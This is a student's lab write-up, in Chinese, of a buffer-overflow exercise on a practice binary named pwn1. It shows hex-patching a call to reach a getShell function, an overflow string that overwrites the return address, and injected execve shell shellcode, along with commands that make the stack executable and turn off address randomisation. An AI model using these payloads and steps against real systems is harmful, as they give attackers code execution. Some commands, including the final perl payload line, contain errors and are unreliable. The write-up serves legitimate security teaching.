20212928 2021-2022-2 《网络攻防实践》第11周作业
1.实践基础知识
1)熟悉Linux基本操作
能看懂常用指令,如管道(|),输入、输出重定向(>)等。
2)理解Bof的原理
- 能看得懂汇编、机器指令、EIP、指令地址。
- 会使用gdb,vi。
3)指令、参数
- 一些具体的问题可以边做边查,但最重要的思路、想法不能乱。
- 要时刻知道,我是在做什么?现在在查什么数据?改什么数据?要改成什么样?每步操作都要单独实践验证,再一步步累加为最终结果。
- 操作成功不重要,照着敲入指令肯定会成功。
4)重要的是理解思路。)
- 看指导理解思路,然后抛开指导自己做。
- 碰到问题才能学到知识。
- 具体的指令可以回到指导中查。
2.实践过程
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode
(1)实践任务一:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
学习目标:理解可执行文件与机器指令
进阶:掌握ELF文件格式,掌握动态技术
具体步骤如下:
1)下载解压文件pwn1,对其进行反汇编
2)输入指令:objdump -d pwn1|more,加|more是加管道符,可以分页显示,得到如下截图:
3)之后输入命令/getShall,可以得到如下截图,
可以看到有三个函数,getShall,foo,main;
-
call 8048491是汇编指令
是说这条指令将调用位于地址8048491处的foo函数;
其对应机器指令为e8 d7ffffff,e8即跳转之意。
本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令呢,CPU就会转而执行EIP + d7ffffff这个位置的指令。
d7ffffff是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值 -
main函数调用foo,对应机器指令e8 d7ffffff
那我们想让它调用getShell,只要修改d7ffffff为getShell-80484ba对应的补码就行。
用Windows计算器,直接47d-4ba就能得到补码,是c3ffffff。
4)下面我们就修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff
-
在修改之前习惯性进行备份一下,输入指令:cs pwn1 pwn2
-
输入指令vi pwn1
可以看到如下图所示:基本全是乱码
-
按ESC,然后输入命令:%!xxd,转换成16进制,如下图
-
输入命令/e8 d7查找要修改的内容
找到后,将前后的内容和反汇编的对比下,确认地方是正确的,修改d7为c3,如下图
转换16进制为原格式:%!xxd -r,如下图所示:
输入指令vi:wq保存退出
5)下面进行验证:
-
由于我们改的是主函数,所以由下图可以看到已经发生变化:
-
先输入指令:./pwn1运行一下原来的,如下图:
当我输入20212928pcl,就会给我返回相同的字符,
-
在输入命令./pwn2验证一下刚才我们修改过的,则可以看到出现Shell,如下图所示:
(2)实践任务二:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
- 知识要求:堆栈结构,返回地址
- 学习目标:理解攻击缓冲区的结果,掌握返回地址的获取
- 进阶:掌握ELF文件格式,掌握动态技术
步骤如下:
1)反汇编,了解程序的基本功能
首先,我们输入命令:objdump -d pwn1 | more对pwn1进行反汇编
注意这个函数getShell,我们的目标是触发这个函数
该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞
这里读入字符串,但系统只预留了28+4=32字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址
上面的call调用foo,同时在堆栈上压上返回地址值:80484ba
2)确认输入字符串哪几个字符会覆盖到返回地址
输入命令gdb pwn1进行调试pwn1
EIP的值,是ASCII 1234
如果输入字符串1111111122222222333333334444444412345678,那1234 那四个数最终会覆盖到堆栈上的返回地址,
进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。
3)确认用什么值来覆盖返回地址
- getShell的内存地址,通过反汇编时可以看到,是0804847d,如下图
因为是小端优先,所以应输入11111111222222223333333344444444\x7d\x84\x04\x08
4)构造输入字符串
-
由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' >
input的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。 -
用16进制查看指令xxd查看input文件的内容是否如预期xxd input
-
然后将input的输入,通过管道符|,作为pwn1的输入(cat input; cat) | ./pwn1
(3)实践任务三:注入一个自己制作的shellcode并运行这段shellcode
1) 准备一段Shellcode
- shellcode就是一段机器指令(code)
通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。 - 以下实践使用Shellcode入门生成的shellcode。如下:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
2)准备工作
修改如下这些配置
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space
3)构造要注入的payload
-
Linux下有两种基本构造攻击buf的方法:
-
retaddr+nop+shellcode
-
nop+shellcode+retaddr
-
因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
-
简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
-
我们这个buf够放这个shellcode了,
-
结构为:nops+shellcode+retaddr。
-
nop一为是了填充,二是作为“着陆区/滑行区”。
-
我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
-
构造input_shellcode文件perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53
x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode -
打开一个终端注入这段攻击buf(cat input_shellcode;cat) | ./pwn1
-
再开另外一个终端,用gdb来调试pwn1这个进程
-
输入ps -ef | grep pwn1查看进程号,我这里是5860,如下图
-
启动gdb调试这个进程,输入指令attch 5860,如下图:
-
通过设置断点,来查看注入buf的内存地址disassemble foo
-
首先要得到函数的retaddr,则反汇编:disassemble foo得到ret地址为0x080484ae
-
后设置断点:break *0x080484ae,输入c开始运行
-
接下来到另一个终端回车,使程序往下执行至断点
-
此时查看esp寄存器地址,使用info r esp查看栈顶指针所在的位置,并查看改地址存放的数据:0xbfffee1c
-
输入x/16x 0xbfffee1c,以十六进制查看0xbfffee1c后续16字节内容
-
得到我们定义的Shellcode返回地址\x4\x3\x2\x1位于0xbfffee1c四位,即得到Shellcode真实返回地址0xbfffee1c+0x00000004=0xbfffee20,
-
可以发现数据采用小端字节序,并且将返回地址改为20 ee ff bf就可以让程序执行Shellcode,
这样一来构造shellcode:32个A+retaddr+nop+shellcode。
perl -e 'print "A" x 32; "\x20\xee\xff\xbf\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e \x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode
-
在输入命令 (cat input_shellcode;cat) | ./pwn1,即可看到最后的成功结果,如下图
3.学习中遇到的问题及解决
问题1:做第二个任务时,当我输入gdb pwn1,发现不可以调试,如下图,输入sudo apt install gdb,进行安装解决
,却发现还是不行
解决1:最后,终于在输入更新命令后在执行下载安装就好了,其实之前也试过,但是没有在sudo模式下进行,导致试了好多遍,如下图:
问题2:exexecstack软件下载安装一直失败,
解决2:首先按照网上的解决办法进行升级。发现还是不行,如下图:
最后,只能用seedubundu来完成接下来的实验,输入命令sudo apt-get install prelink就可以解决该问题。
问题3:输入相关命令时只显示一行信息,如图,关机重启等方法用了好多次都没解决
解决3:错在在构造shellcode 时,将代码行多加了一个回车,去掉回车后即可解决:
4.学习感想和体会
本次实验内容比较不算难,但对一些汇编语言的基础知识要求较高,实现了BOF攻击,掌握了两个软件的下载以及使用,即gdb和exexecstack。
当然做实验时也是出现了各种各样的问题,在上述的问题3,我通过尝试各种方法没能解决,最后还是感谢邹泽霄,请同学帮忙查看,才使得实验顺利的完成。